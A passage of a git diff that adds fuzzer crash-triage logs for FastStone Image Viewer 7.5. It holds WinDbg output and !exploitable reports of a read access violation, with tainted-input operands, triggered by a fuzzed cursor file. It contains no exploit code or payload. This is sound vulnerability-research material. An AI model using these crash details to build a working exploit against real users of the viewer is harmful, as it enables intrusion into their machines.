Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f37b10 edx=00003879 esi=fce30010 edi=07d60fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.040999700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.46716e-010 3.86889e-007 -3.93392e+008 0.80813 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00355000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00355000 926e44df 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00355000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7992fbb --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1234: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1234: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1234.167c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07f37b10 edx=00003879 esi=fce30010 edi=07d60fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.040999700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.46716e-010 3.86889e-007 -3.93392e+008 0.80813 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00355000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00355000 926e44df 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00355000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c26ec41 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..20cf21e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e4f950c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,209 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F18: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F18: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71c80000 00000000`71cb2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`71bb0000 00000000`71c76000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 